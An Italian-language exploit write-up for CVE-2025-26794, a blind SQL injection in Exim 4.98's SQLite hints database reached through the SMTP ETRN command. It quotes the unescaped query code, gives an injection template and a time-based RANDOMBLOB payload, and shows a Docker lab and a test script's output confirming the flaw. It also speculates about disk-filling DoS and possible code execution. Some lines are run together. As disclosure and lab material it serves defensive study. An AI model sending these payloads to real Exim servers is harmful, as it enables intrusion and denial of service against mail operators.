
CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup
Exim report: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
Ho scoperto questa vulnerabilità tramite una revisione manuale del codice.
I parametri SQL, quando SQLite viene utilizzato come DBM, non vengono adeguatamente sanificati. Ciò consente a un utente remoto di creare query SQLite personalizzate.
Exim utilizza un database interno per l'archiviazione di coppie chiave:valore (chiamato HintsDB) che supporta vari backend, impostati al momento della compilazione. L'aggiunta più recente è stata SQLite. Viene utilizzato per memorizzare:
enq_start()) per comandi ETRN e consegna SMTPIl file interessato è hintsdb.h. È stato spostato in un file separato (hints_sqlite.h) negli ultimi commit. Sono interessate solo le funzioni SQLite (esempio di funzione: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
La chiave di input non viene correttamente escapata. Pertanto, se riusciamo a controllare la chiave, saremo in grado di iniettare qualsiasi codice SQLite.
L'RFC1985 definisce il comando SMTP ETRN, "mediante il quale un client può richiedere che il server avvii l'elaborazione delle sue code di posta per i messaggi in attesa presso il server per la macchina client".
Viene utilizzato con il comando SMTP: ETRN #domain.com.
In Exim, il comando ETRN imposta un semaforo nell'HintsDB per evitare di eseguire più comandi ETRN in parallelo.
Questo semaforo è implementato dalla funzione enq_start(keyname, value) che crea una nuova voce nel database "misc".
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
Ad esempio, il comando SMTP ETRN #test.com creerà una voce temporanea nel database SQLite "misc" con la chiave "etrn-#test.com" e il valore 1.
Alla fine dell'elaborazione del comando ETRN, la voce del database verrà rimossa:
enq_end(etrn_serialize_key);
Poiché controlliamo la chiave, possiamo iniettare il nostro codice SQL con il seguente comando SMTP:
ETRN #',1); ## INSERT SQL HERE ## /*
Poiché non c'è output, possiamo inviare un payload SQLi basato sul tempo per testare remotamente questa vulnerabilità:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE, e suppongo che potremmo probabilmente sfruttare una condizione di gara in Exim per innescare un comportamento indefinito interferendo con gli altri database utilizzati. È ancora molto ipotetico per ora.ETRN (ed è piuttosto vecchio). Non ho trovato altrove nel codice dove l'input dell'utente venga utilizzato per costruire la stringa di query.Ciò significa che potremmo facilmente fare DoS (ad esempio, riempire il disco), ma elevare questo a Remote Code Execution richiederebbe più lavoro, ma potrebbe essere possibile.
Ecco un laboratorio Docker locale per aiutare a riprodurre questa vulnerabilità.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh compilerà e ti farà accedere al containerbash start-exim.sh per avviare il server eximnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorHo sviluppato uno script test.py per testare remotamente questa vulnerabilità.
python3 docker_lab/test.py <host>
Esempio:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable